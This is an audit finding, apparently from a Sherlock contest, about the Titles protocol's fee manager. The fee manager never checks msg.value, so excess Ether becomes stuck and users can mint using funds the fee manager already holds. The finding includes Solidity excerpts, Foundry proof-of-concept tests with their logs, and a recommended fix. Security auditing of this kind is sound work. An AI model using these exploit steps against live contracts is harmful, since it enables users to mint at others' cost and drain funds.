Suave Heather Barbel

high

# Fee manager doesn't verify msg.value and may lead to multiple problems

## Summary
The fee manager doesn't verify the incoming `msg.value` with the value of mint fee, which may lead to some funds to be temporarily stuck, or editions can be minted at extremely low cost.

## Vulnerability Detail
In the [`mint`](https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/editions/Edition.sol#L228) and other batch functions, users pay the mint fee by `msg.value`, and the function will return the extra Ethers back to `msg.sender`:

```solidity
    function mint(
        address to_,
        uint256 tokenId_,
        uint256 amount_,
        address referrer_,
        bytes calldata data_
    ) external payable override {
        // wake-disable-next-line reentrancy
        FEE_MANAGER.collectMintFee{value: msg.value}(
            this, tokenId_, amount_, msg.sender, referrer_, works[tokenId_].strategy
        );

        _issue(to_, tokenId_, amount_, data_);
        _refundExcess();
    }
```

The issue here is, fee manager doesn't check if `msg.value` is excessive. `collectMintFee` will call `_collectMintFee`:

```solidity
    function _collectMintFee(
        IEdition edition_,
        uint256 tokenId_,
        uint256 amount_,
        address payer_,
        address referrer_,
        Fee memory fee_
    ) internal {
        if (fee_.amount == 0) return;

        // For free mints:
        // - Protocol Share = 1/3 of flat fee
        // - Edition Share = 2/3 of flat fee
        //
        // For priced mints:
        // - Protocol Share = 100% of flat fee, shared as follows:
        // - Edition Share = 100% of creator-specified mint cost, 0% of flat fee
        //
        // In both cases, the protocol and edition shares may be split as follows:
        // - Protocol Share
        //   - If a referred mint, mint referrer gets 50% of the protocol share
        //   - If a referred collection, collection referrer gets 25% of the protcol share
        //   - Protocol fee receiver gets the remainder of the protocol share
        // - Edition Share
        //   - Attributions equally split 25% of the edition share, if applicable
        //   - Creator gets the remainder of the edition share

        uint256 protocolFee = protocolFlatFee * amount_;
        uint256 protocolShare;
        if (fee_.amount == protocolFee) {
            protocolShare = protocolFee * protocolFeeshareBps / MAX_BPS;
        } else {
            protocolShare = protocolFee;
        }

        _route(
            Fee({asset: fee_.asset, amount: fee_.amount - protocolShare}),
            _feeReceivers[getRouteId(edition_, tokenId_)],
            payer_
        );

        uint256 referrerShare =
            _splitProtocolFee(edition_, fee_.asset, protocolShare, payer_, referrer_);
        emit FeeCollected(address(edition_), tokenId_, fee_.asset, fee_.amount, referrerShare);
    }
```

The `_route` function essentially transfers the inputed amount to receivers. And `_splitProtocolFee` splits the protocol share fees to the relevant parties. As we can see, `msg.value` is not being used anywhere in the function, so the contract has no way to know if the incoming `msg.value` is excessive or the other way around. Since excessive assets are not transferred back to the edition contract, makes the edition contract has nothing to return to `msg.sender`. Those excessive assets will stuck in the fee manager contract until an admin comes in and withdraws them by calling `withdraw`.

The following coded PoC can showcase the issue:

```solidity
    function test_mint_excess_return() public {
        address bob = address(0x1337);
        hoax(bob, 10e18);
        assertEq(bob.balance, 10e18);
        console.log("fee manager balance before:", address(feeManager).balance);
        console.log("bob balance before:", bob.balance);
        edition.mint{value: 1.0106 ether}(bob, 1, 1, address(0), new bytes(0));
        assertEq(edition.totalSupply(1), 1);
        assertEq(address(1).balance, 0.01 ether);
        assertEq(address(0xc0ffee).balance, 0.0006 ether);
        assertEq(edition.balanceOf(bob, 1), 1);
        console.log("fee manager balance after:", address(feeManager).balance);
        console.log("bob balance after:", bob.balance);

    }
```

The test case first gives Bob 10 ethers, and Bob attempts to call the payable `mint` function with total value of 1.0106 ethers, where 0.0106 ethers are all needed to mint the work. By normal logic, the edition contract will be able to catch that Bob has provided more than needed to mint the work, and return those excessive ones. However, the executed result shows differently:

```plaintext
[PASS] test_mint_excess_return() (gas: 185229)
Logs:
  fee manager balance before: 0
  bob balance before: 10000000000000000000
  fee manager balance after: 1000000000000000000
  bob balance after: 8989400000000000000
```

The fee manager contract gets 1 extra ethers, and those extra ethers are from Bob's excessive `msg.value`. Proving those are not returned back to Bob.

Moreover, if the fee manager contract has some additional funds, any user can mint works for free:

```solidity
    function test_mint_for_low_cost() public {
        address alice = address(0x69420);
        deal(address(feeManager), 1e18);
        deal(alice, 0.001 ether);
        assertEq(alice.balance, 0.001 ether);
        vm.prank(alice);
        console.log("fee manager balance before:", address(feeManager).balance);
        console.log("alice balance before:", alice.balance);
        edition.mint(alice, 1, 1, address(0), new bytes(0));
        assertEq(edition.totalSupply(1), 1);
        assertEq(address(1).balance, 0.01 ether);
        assertEq(address(0xc0ffee).balance, 0.0006 ether);
        assertEq(edition.balanceOf(alice, 1), 1);
        console.log("fee manager balance after:", address(feeManager).balance);
        console.log("alice balance after:", alice.balance);
    }
```

And the result shows:

```plaintext
[PASS] test_mint_for_low_cost() (gas: 170013)
Logs:
  fee manager balance before: 1000000000000000000
  alice balance before: 1000000000000000
  fee manager balance after: 989400000000000000
  alice balance after: 1000000000000000

```

Alice's balance doesn't change a bit, but she certainly has minted one piece of work for herself.

## Impact
Assets can be temporarily stuck, and users can mint at the cost of others.

## Code Snippet
```solidity
    function _collectMintFee(
        IEdition edition_,
        uint256 tokenId_,
        uint256 amount_,
        address payer_,
        address referrer_,
        Fee memory fee_
    ) internal {
        if (fee_.amount == 0) return;

        // For free mints:
        // - Protocol Share = 1/3 of flat fee
        // - Edition Share = 2/3 of flat fee
        //
        // For priced mints:
        // - Protocol Share = 100% of flat fee, shared as follows:
        // - Edition Share = 100% of creator-specified mint cost, 0% of flat fee
        //
        // In both cases, the protocol and edition shares may be split as follows:
        // - Protocol Share
        //   - If a referred mint, mint referrer gets 50% of the protocol share
        //   - If a referred collection, collection referrer gets 25% of the protcol share
        //   - Protocol fee receiver gets the remainder of the protocol share
        // - Edition Share
        //   - Attributions equally split 25% of the edition share, if applicable
        //   - Creator gets the remainder of the edition share

        uint256 protocolFee = protocolFlatFee * amount_;
        uint256 protocolShare;
        if (fee_.amount == protocolFee) {
            protocolShare = protocolFee * protocolFeeshareBps / MAX_BPS;
        } else {
            protocolShare = protocolFee;
        }

        _route(
            Fee({asset: fee_.asset, amount: fee_.amount - protocolShare}),
            _feeReceivers[getRouteId(edition_, tokenId_)],
            payer_
        );

        uint256 referrerShare =
            _splitProtocolFee(edition_, fee_.asset, protocolShare, payer_, referrer_);
        emit FeeCollected(address(edition_), tokenId_, fee_.asset, fee_.amount, referrerShare);
    }
```

## Tool used

Manual Review, foundry

## Recommendation
Check is `msg.value` is more than needed to mint a work, and transfer the excessive ones back to edition, so it can return them back to `msg.sender`.
